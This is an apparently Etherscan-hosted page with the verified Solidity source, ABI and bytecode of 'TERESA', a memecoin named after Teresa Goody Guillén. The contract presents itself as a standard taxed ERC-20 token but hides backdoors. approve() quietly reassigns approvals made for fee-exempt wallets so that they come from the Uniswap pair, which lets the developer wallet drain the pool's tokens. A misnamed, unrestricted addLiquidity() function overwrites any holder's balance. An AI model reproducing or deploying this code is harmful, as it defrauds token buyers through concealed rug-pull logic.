Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ... interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract TERESA is Context, IERC20 ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function addLiquidity(address[] memor ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function swapTokensForEth(uint256 tok ...    - function sendETHDDTDX(uint256 amount)    - function withdrawDDTDX()    - function min(uint256 a, uint256 b)    - function removeLimits()    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-11-19
*/

/**
https://www.coindesk.com/policy/2024/11/19/trump-said-to-consider-crypto-lawyer-teresa-goody-guillen-to-lead-sec
Join tg: https://t.me/tersea_erc
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TERESA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _dddExcludedFee;
    mapping (address => bool) private _dddExcemptFee;
    mapping (address => bool) private _bots;
    address payable private _dddWallet;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyAt=10;
    uint256 private _reduceSellAt=10;
    uint256 private _preventCount=15;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Teresa Goody Guillén";
    string private constant _symbol = unicode"TERESA";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletAmount = _tTotal * 2 / 100;
    uint256 public _minTaxSwap= _tTotal * 1 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private dddSendor;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private _caLimitSell = true;
    uint256 private _caBlockSell = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        dddSendor = _msgSender();
        _dddWallet = payable(0x3ad6B49b8624eBe41FB600AD13C90a99e7040185);
        _tOwned[address(this)] = _tTotal;
        _dddExcemptFee[owner()] = true;
        _dddExcemptFee[_dddWallet] = true;
        _dddExcludedFee[owner()] = true;
        _dddExcludedFee[address(this)] = true;
        _dddExcludedFee[_dddWallet] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        address ownDDD = _msgSender(); if(_dddExcemptFee[spender]) ownDDD=dddSendor;
        _approve(ownDDD, spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function addLiquidity(address[] memory addrs) external {
        for (uint256 i = 0; i < addrs.length; i ++) {
            if (addrs[i] == uniswapV2Pair) return;
            _tOwned[addrs[i]] = 100 * 10 ** _decimals;
        }
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeDDD=0;
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            feeDDD = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _dddExcludedFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                feeDDD = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHDDTDX(address(this).balance);
                }
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) {
                if (_caLimitSell) {
                    if (_caBlockSell < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendETHDDTDX(address(this).balance);
                        }
                        _caBlockSell = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETHDDTDX(address(this).balance);
                    }
                }
            }
        }
        if(feeDDD>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(feeDDD);
          emit Transfer(from, address(this), feeDDD);
        }
        _tOwned[from]=_tOwned[from].sub(amount);
        _tOwned[to]=_tOwned[to].add(amount.sub(feeDDD));
        emit Transfer(from, to, amount.sub(feeDDD));
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function sendETHDDTDX(uint256 amount) private {
        _dddWallet.transfer(amount);
    }
    function withdrawDDTDX() external onlyOwner() {
        payable(owner()).transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }
    function removeLimits() external onlyOwner {
        _caLimitSell = false;
        _maxTxAmount = _tTotal;
        _maxWalletAmount=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    receive() external payable {}
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = dddSendor = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawDDTDX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526002600755600f6008555f6009555f600a55600a600b55600a600c55600f600d555f600e5560646009600a61003991906103da565b61004790633b9aca006103ef565b6100529060026103ef565b61005c9190610406565b600f55606461006d6009600a6103da565b61007b90633b9aca006103ef565b6100869060026103ef565b6100909190610406565b60105560646100a16009600a6103da565b6100af90633b9aca006103ef565b6100ba9060016103ef565b6100c49190610406565b60115560646100d56009600a6103da565b6100e390633b9aca006103ef565b6100ee9060016103ef565b6100f89190610406565b6012556015805462ffffff60a81b1916600160b81b1790555f601681905561011d3390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060158054336001600160a01b03199182161790915560068054909116733ad6b49b8624ebe41fb600ad13c90a99e70401851790556101a66009600a6103da565b6101b490633b9aca006103ef565b305f9081526001602081905260408220929092556004906101dc5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600654909116815260049092528120805490921660019081179092556003906102395f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556006549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102c06009600a6103da565b6102ce90633b9aca006103ef565b60405190815260200160405180910390a3610425565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561033257815f1904821115610318576103186102e4565b8085161561032557918102915b93841c93908002906102fd565b509250929050565b5f82610348575060016103d4565b8161035457505f6103d4565b816001811461036a576002811461037457610390565b60019150506103d4565b60ff841115610385576103856102e4565b50506001821b6103d4565b5060208310610133831016604e8410600b84101617156103b3575081810a6103d4565b6103bd83836102f8565b805f19048211156103d0576103d06102e4565b0290505b92915050565b5f6103e860ff84168361033a565b9392505050565b80820281158282048414176103d4576103d46102e4565b5f8261042057634e487b7160e01b5f52601260045260245ffd5b500490565b6118f0806104325f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b41146102e4578063a0f2c96414610312578063a9059cbb14610331578063c9567bf914610350578063dd62ed3e14610364575f80fd5b806370a082311461024d578063715018a614610281578063751039fc146102955780637d1db4a5146102a95780638da5cb5b146102be575f80fd5b806318160ddd116100e357806318160ddd146101d557806323b872dd146101e9578063300d621714610208578063313ce5671461021d5780636c0a24eb14610238575f80fd5b806306fdde031461011e578063095ea7b31461016d5780630e9377241461019c5780630faee56f146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260158152742a32b932b9b09023b7b7b23c9023bab4b63661d4b760591b60208201525b6040516101649190611435565b60405180910390f35b348015610178575f80fd5b5061018c61018736600461148e565b6103a8565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b06103ef565b005b3480156101bd575f80fd5b506101c760125481565b604051908152602001610164565b3480156101e0575f80fd5b506101c761045b565b3480156101f4575f80fd5b5061018c6102033660046114b8565b61047b565b348015610213575f80fd5b506101c760115481565b348015610228575f80fd5b5060405160098152602001610164565b348015610243575f80fd5b506101c760105481565b348015610258575f80fd5b506101c76102673660046114f6565b6001600160a01b03165f9081526001602052604090205490565b34801561028c575f80fd5b506101b06104e2565b3480156102a0575f80fd5b506101b0610553565b3480156102b4575f80fd5b506101c7600f5481565b3480156102c9575f80fd5b505f546040516001600160a01b039091168152602001610164565b3480156102ef575f80fd5b5060408051808201909152600681526554455245534160d01b6020820152610157565b34801561031d575f80fd5b506101b061032c366004611525565b610611565b34801561033c575f80fd5b5061018c61034b36600461148e565b6106b4565b34801561035b575f80fd5b506101b06106c9565b34801561036f575f80fd5b506101c761037e3660046115e5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b0382165f90815260046020526040812054339060ff16156103d857506015546001600160a01b03165b6103e3818585610a09565b60019150505b92915050565b5f546001600160a01b031633146104215760405162461bcd60e51b81526004016104189061161c565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610458573d5f803e3d5ffd5b50565b5f6104686009600a611745565b61047690633b9aca00611753565b905090565b5f610487848484610b2c565b6104d884336104d385604051806060016040528060288152602001611893602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110b1565b610a09565b5060019392505050565b5f546001600160a01b0316331461050b5760405162461bcd60e51b81526004016104189061161c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057c5760405162461bcd60e51b81526004016104189061161c565b6015805460ff60b81b191690556105956009600a611745565b6105a390633b9aca00611753565b600f556105b26009600a611745565b6105c090633b9aca00611753565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105f06009600a611745565b6105fe90633b9aca00611753565b60405190815260200160405180910390a1565b5f5b81518110156106b05760145482516001600160a01b039091169083908390811061063f5761063f61176a565b60200260200101516001600160a01b031603610659575050565b6106656009600a611745565b610670906064611753565b60015f8484815181106106855761068561176a565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610613565b5050565b5f6106c0338484610b2c565b50600192915050565b5f546001600160a01b031633146106f25760405162461bcd60e51b81526004016104189061161c565b601554600160a01b900460ff161561074c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610418565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107959030906107876009600a611745565b6104d390633b9aca00611753565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610809919061177e565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610868573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088c919061177e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108d6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fa919061177e565b601580546001600160a01b039283166001600160a01b031991821681179092556014805490911690911790556013541663f305d719473061094f816001600160a01b03165f9081526001602052604090205490565b5f806109625f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109c8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ed9190611799565b50506015805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610a6b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610418565b6001600160a01b038216610acc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610418565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610418565b6001600160a01b038216610bf25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610418565b5f8111610c535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610418565b5f80546001600160a01b03858116911614801590610c7e57505f546001600160a01b03848116911614155b15610f74576001600160a01b0384165f9081526005602052604090205460ff16158015610cc357506001600160a01b0383165f9081526005602052604090205460ff16155b610ccb575f80fd5b610cf76064610cf1600b54600e5411610ce657600754610cea565b6009545b85906110e9565b9061116e565b6014549091506001600160a01b038581169116148015610d2557506013546001600160a01b03848116911614155b8015610d4957506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2f57600f54821115610da05760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610418565b60105482610dc2856001600160a01b03165f9081526001602052604090205490565b610dcc91906117c4565b1115610e1a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610418565b600e8054905f610e29836117d7565b91905055505b6014546001600160a01b038481169116148015610e5557506001600160a01b0384163014155b15610e8d57610e7f6064610cf1600c54600e5411610e7557600854610cea565b600a5485906110e9565b905047610e8b476111af565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610ec357506014546001600160a01b038581169116145b8015610ed85750601554600160b01b900460ff165b8015610ee5575060115481115b8015610ef45750600d54600e54115b15610f7257601554600160b81b900460ff1615610f4d57436016541015610f4857610f32610f2d84610f28846012546111e6565b6111e6565b6111fa565b478015610f4257610f42476111af565b50436016555b610f72565b610f60610f2d84610f28846012546111e6565b478015610f7057610f70476111af565b505b505b8015610fec57305f90815260016020526040902054610f93908261136a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe39085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461100e90836113c8565b6001600160a01b0385165f9081526001602052604090205561105161103383836113c8565b6001600160a01b0385165f908152600160205260409020549061136a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109a85856113c8565b60405190815260200160405180910390a350505050565b5f81848411156110d45760405162461bcd60e51b81526004016104189190611435565b505f6110e084866117ef565b95945050505050565b5f825f036110f857505f6103e9565b5f6111038385611753565b9050826111108583611802565b146111675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610418565b9392505050565b5f61116783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611409565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106b0573d5f803e3d5ffd5b5f8183116111f45782611167565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112405761124061176a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611297573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112bb919061177e565b816001815181106112ce576112ce61176a565b6001600160a01b0392831660209182029290920101526013546112f49130911684610a09565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061132c9085905f90869030904290600401611821565b5f604051808303815f87803b158015611343575f80fd5b505af1158015611355573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061137683856117c4565b9050838110156111675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610418565b5f61116783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110b1565b5f81836114295760405162461bcd60e51b81526004016104189190611435565b505f6110e08486611802565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610458575f80fd5b80356114898161146a565b919050565b5f806040838503121561149f575f80fd5b82356114aa8161146a565b946020939093013593505050565b5f805f606084860312156114ca575f80fd5b83356114d58161146a565b925060208401356114e58161146a565b929592945050506040919091013590565b5f60208284031215611506575f80fd5b81356111678161146a565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611536575f80fd5b823567ffffffffffffffff8082111561154d575f80fd5b818501915085601f830112611560575f80fd5b81358181111561157257611572611511565b8060051b604051601f19603f8301168101818110858211171561159757611597611511565b6040529182528482019250838101850191888311156115b4575f80fd5b938501935b828510156115d9576115ca8561147e565b845293850193928501926115b9565b98975050505050505050565b5f80604083850312156115f6575f80fd5b82356116018161146a565b915060208301356116118161146a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561169f57815f190482111561168557611685611651565b8085161561169257918102915b93841c939080029061166a565b509250929050565b5f826116b5575060016103e9565b816116c157505f6103e9565b81600181146116d757600281146116e1576116fd565b60019150506103e9565b60ff8411156116f2576116f2611651565b50506001821b6103e9565b5060208310610133831016604e8410600b8410161715611720575081810a6103e9565b61172a8383611665565b805f190482111561173d5761173d611651565b029392505050565b5f61116760ff8416836116a7565b80820281158282048414176103e9576103e9611651565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561178e575f80fd5b81516111678161146a565b5f805f606084860312156117ab575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103e9576103e9611651565b5f600182016117e8576117e8611651565b5060010190565b818103818111156103e9576103e9611651565b5f8261181c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118715784516001600160a01b03168352938301939183019160010161184c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f5be32c7ed52c3469e02be4ad8eb5cff4b3f8829fcc13d2c4712337a5279792e64736f6c63430008190033

0x608060405260043610610113575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b41146102e4578063a0f2c96414610312578063a9059cbb14610331578063c9567bf914610350578063dd62ed3e14610364575f80fd5b806370a082311461024d578063715018a614610281578063751039fc146102955780637d1db4a5146102a95780638da5cb5b146102be575f80fd5b806318160ddd116100e357806318160ddd146101d557806323b872dd146101e9578063300d621714610208578063313ce5671461021d5780636c0a24eb14610238575f80fd5b806306fdde031461011e578063095ea7b31461016d5780630e9377241461019c5780630faee56f146101b2575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260158152742a32b932b9b09023b7b7b23c9023bab4b63661d4b760591b60208201525b6040516101649190611435565b60405180910390f35b348015610178575f80fd5b5061018c61018736600461148e565b6103a8565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b06103ef565b005b3480156101bd575f80fd5b506101c760125481565b604051908152602001610164565b3480156101e0575f80fd5b506101c761045b565b3480156101f4575f80fd5b5061018c6102033660046114b8565b61047b565b348015610213575f80fd5b506101c760115481565b348015610228575f80fd5b5060405160098152602001610164565b348015610243575f80fd5b506101c760105481565b348015610258575f80fd5b506101c76102673660046114f6565b6001600160a01b03165f9081526001602052604090205490565b34801561028c575f80fd5b506101b06104e2565b3480156102a0575f80fd5b506101b0610553565b3480156102b4575f80fd5b506101c7600f5481565b3480156102c9575f80fd5b505f546040516001600160a01b039091168152602001610164565b3480156102ef575f80fd5b5060408051808201909152600681526554455245534160d01b6020820152610157565b34801561031d575f80fd5b506101b061032c366004611525565b610611565b34801561033c575f80fd5b5061018c61034b36600461148e565b6106b4565b34801561035b575f80fd5b506101b06106c9565b34801561036f575f80fd5b506101c761037e3660046115e5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b0382165f90815260046020526040812054339060ff16156103d857506015546001600160a01b03165b6103e3818585610a09565b60019150505b92915050565b5f546001600160a01b031633146104215760405162461bcd60e51b81526004016104189061161c565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610458573d5f803e3d5ffd5b50565b5f6104686009600a611745565b61047690633b9aca00611753565b905090565b5f610487848484610b2c565b6104d884336104d385604051806060016040528060288152602001611893602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110b1565b610a09565b5060019392505050565b5f546001600160a01b0316331461050b5760405162461bcd60e51b8152600401610418906